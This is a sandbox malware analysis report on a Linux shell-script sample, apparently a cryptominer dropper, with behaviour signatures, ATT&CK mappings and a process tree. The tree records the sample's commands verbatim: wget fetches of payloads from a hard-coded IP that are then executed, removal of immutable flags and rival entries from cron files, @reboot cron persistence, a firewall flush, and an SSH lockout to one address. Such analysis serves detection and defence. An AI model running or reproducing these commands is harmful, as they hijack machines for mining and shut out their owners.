Analysis
- max time kernel
115s - max time network
152s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
19/05/2026, 18:32
General
- Target sh
- Size 2KB
- Sample260519-w63glaay5w
- SHA256 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
Score
9/10
Malware Config
Signatures
- Contacts a large (173777) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Creates Raw socket 1 IoCs
Creates a socket that captures raw packets at the device level
- Executes dropped EXE 1 IoCs
- Flushes firewall rules 1 TTPs 6 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
- Attempts to change immutable files 24 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Reads network interface configuration 2 TTPs 9 IoCs
Fetches information about one or more active network interfaces.
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Changes its process name 1 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 28 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/sh/tmp/sh1⤵
- Executes dropped EXE
-
/bin/catcat /proc/mounts2⤵
-
-
/bin/grepgrep noexec2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/whoamiwhoami2⤵
-
-
/usr/bin/findfind / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*"2⤵
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/bin/unameuname -mp2⤵
-
-
/usr/bin/trtr -d " "2⤵
-
-
/usr/bin/odod -An -N2 -i /dev/urandom2⤵
-
-
/usr/bin/exprexpr 46257 "%" 32 + 42⤵
-
-
/usr/bin/trtr -dc A-Za-z0-92⤵
-
-
/usr/bin/headhead -c 212⤵
-
-
/usr/bin/opensslopenssl rand -base64 2562⤵
-
-
/usr/bin/touchtouch .testfile2⤵
-
-
/bin/dddd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"2⤵
-
-
/bin/rmrm -rf .testfile .testfile22⤵
-
-
/bin/rmrm -rf clean2⤵
-
-
/usr/bin/wgetwget --no-check-certificate -q https://14.46.136.77/clean2⤵
-
-
/bin/chmodchmod +x clean2⤵
- File and Directory Permissions Modification
-
-
/bin/shsh clean2⤵
- Writes file to tmp directory
-
/bin/systemctlsystemctl disable c3pool_miner3⤵
-
-
/bin/systemctlsystemctl stop c3pool_miner3⤵
-
-
/usr/bin/chattrchattr -ia /var/spool/cron/crontabs3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/crontab3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/crontab3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.hourly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/apt-compat3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/apt-compat3⤵
- Reads runtime system information
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/bsdmainutils3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/bsdmainutils3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/dpkg3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/dpkg3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/exim4-base3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/exim4-base3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/logrotate3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/logrotate3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.daily/passwd3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/cron.daily/passwd3⤵
-
-
/usr/bin/chattrchattr -ia /etc/cron.weekly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.monthly3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/cron.d3⤵
- Attempts to change immutable files
-
-
/usr/bin/chattrchattr -ia /etc/anacrontab3⤵
- Attempts to change immutable files
-
-
/bin/grepgrep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab3⤵
- Attempts to change immutable files
-
-
/bin/mvmv /tmp/clean_crontab /etc/anacrontab3⤵
-
-
/bin/rmrm -rf /tmp/sh /tmp/systemd-private-f2c35a778c3a420982235bb47e06c70a-systemd-timedated.service-Yu8clp3⤵
-
-
/bin/rmrm -rf /var/tmp/systemd-private-f2c35a778c3a420982235bb47e06c70a-systemd-timedated.service-YwAWfR3⤵
-
-
/bin/rmrm -rf "/dev/shm/*"3⤵
-
-
-
/bin/rmrm -rf clean2⤵
-
-
/bin/rmrm -rf .redtail2⤵
-
-
/bin/rmrm -rf .CttuUNcOF7Ug2DJuuHLPF2⤵
-
-
/bin/grepgrep -q x86_642⤵
-
-
/bin/grepgrep -q amd642⤵
-
-
/bin/grepgrep -q "i[3456]86"2⤵
-
-
/bin/grepgrep -q armv82⤵
-
-
/bin/grepgrep -q aarch642⤵
-
-
/bin/grepgrep -q armv72⤵
-
-
/bin/rmrm -rf arm72⤵
-
-
/usr/bin/wgetwget --no-check-certificate -q https://14.46.136.77/arm72⤵
-
-
/bin/mvmv arm7 .CttuUNcOF7Ug2DJuuHLPF2⤵
-
-
/bin/chmodchmod +x .CttuUNcOF7Ug2DJuuHLPF2⤵
- File and Directory Permissions Modification
-
-
/.CttuUNcOF7Ug2DJuuHLPF./.CttuUNcOF7Ug2DJuuHLPF2⤵
- Creates Raw socket
- Reads network interface configuration
- Changes its process name
- Checks CPU configuration
- Reads CPU attributes
- Reads runtime system information
-
/bin/shsh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /.CttuUNcOF7Ug2DJuuHLPF\" | crontab -"3⤵
-
/usr/bin/crontabcrontab -r4⤵
-
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
-
/bin/shsh -c "iptables -F >/dev/null 2>&1; iptables -I INPUT -p tcp --dport 35283 -j ACCEPT >/dev/null 2>&1"3⤵
- Attempts to change immutable files
-
/sbin/iptablesiptables -F4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -I INPUT -p tcp --dport 35283 -j ACCEPT4⤵
- Flushes firewall rules
- Attempts to change immutable files
-
-
-
/bin/shsh -c "iptables -C INPUT -p tcp --dport 22 -j DROP 2>/dev/null || iptables -A INPUT -p tcp --dport 22 -j DROP; iptables -C INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT 2>/dev/null || iptables -A INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT"3⤵
-
/sbin/iptablesiptables -C INPUT -p tcp --dport 22 -j DROP4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -j DROP4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -C INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT4⤵
- Flushes firewall rules
-
-
/sbin/iptablesiptables -A INPUT -p tcp --dport 22 -s 130.12.180.51 -j ACCEPT4⤵
- Flushes firewall rules
-
-
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Disable or Modify System Firewall
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
.testfile2
arm7
clean
clean_crontab
clean_crontab
clean_crontab
clean_crontab
clean_crontab
tmp.C3tcNf